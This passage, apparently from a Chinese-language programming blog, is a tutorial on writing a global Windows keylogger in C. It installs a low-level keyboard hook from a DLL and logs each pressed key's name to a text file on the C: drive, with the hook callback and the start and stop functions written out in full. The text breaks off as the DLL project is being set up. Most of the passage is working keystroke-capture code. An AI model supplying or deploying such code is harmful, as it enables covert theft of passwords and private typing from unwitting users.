我们这里用到的是WH_KEYBOARD_LL对应的回调函数LowLevelKeyboardProc,他的定义如下: LRESULT CALLBACK LowLevelKeyboardProc( int nCode, // hook code WPARAM wParam, // message identifier LPARAM lParam // message data ); 这里的wParam指的是键盘消息的标识,它的值可以是WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, 或者WM_SYSKEYUP.而lParam则指向一个KBDLLHOOKSTRUCT结构体,下面是KBDLLHOOKSTRUCT结构体的定义: typedef struct tagKBDLLHOOKSTRUCT { DWORD vkCode; //virtual-key DWORD scanCode; DWORD flags; DWORD time; ULONG_PTR dwExtraInfo; } KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT; 知道了上面的这些,我们就可以开始写我们的回调函数了:
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam ) { KBDLLHOOKSTRUCT* pStruct = (KBDLLHOOKSTRUCT*)lParam; LPCSTR log=GetKeyName(pStruct->vkCode); if (wParam==WM_KEYDOWN) { FILE *fl=fopen("C:\\zaroty.TXT","a+"); fprintf(fl,"%s %s",log," "); fclose(fl); } return CallNextHookEx( CuhHook, nCode, wParam, lParam ); } 上面这段代码的意思就是当调用回调函数时,将虚拟码通过GetKeyName函数(后面会定义)转换为我们可以看懂的内容,然后当接收到键盘按下(WM_KEYDOWN)的消息时,就打开C:\\zaroty.TXT并将转换来的按键信息写入其中。写入完毕之后为了保证这个按键消息可以继续传递下去,调用CallNextHookEx函数将其传入消息队列。下面是CallNextHookEx函数的定义:
LRESULT CallNextHookEx( HHOOK hhk, // 当前钩子的句柄,当我们安装钩子的时候会得到这个句柄。 int nCode, // hook code passed to hook procedure WPARAM wParam, // value passed to hook procedure LPARAM lParam // value passed to hook procedure );
这样我们的回调函数就写完了,下面要做的就是安装钩子,让我们的回调函数起到作用。这时我们就要用到了SetWindowsHookEx函数,它的原型为:
HHOOK SetWindowsHookEx( int idHook, // 钩子类型,我们这里是WH_KEYBOARD_LL HOOKPROC lpfn, // 钩子的回调函数,即上面的LowLevelKeyboardProc HINSTANCE hMod, // 指向调用钩子的程序的句柄,后面会讲到。 DWORD dwThreadId // thread identifier );
按照上面的结构来安装我们自己的钩子
DLLEXPORT BOOL StartHook() { CuhHook=SetWindowsHookEx(WH_KEYBOARD_LL,LowLevelKeyboardProc,g_hModule,0); if (CuhHook!=NULL) { return 1; } else { return 0; } } 下面是卸载钩子的函数:
DLLEXPORT BOOL StopHook() { if (UnhookWindowsHookEx(CuhHook)) { return 1; } else { return 0; } } 因为我们要记录所有的键盘消息,所以需要的是一个系统全局钩子,那么我们就要将所需要的钩子函数写到一个外部的DLL里面,然后由其他的应用程序调用DLL内的一些函数来实现(为什么要这么麻烦?我也不知道,微软规定的 :-) )。还不懂得DLL编写的朋友可以去参看一下这两篇转载的文章:
http://hi.baidu.com/zaroty/blog/item/575bc6caa8832280c91768f2.html
http://hi.baidu.com/zaroty/blog/item/a64366fa4586fe8f9e5146f2.html
下面我们开始编写DLL
首先,打开VC6.0 新建一个空的Win32 Dynamic-Link Library工程,然后新建一个keyhook.c,写入如下代码: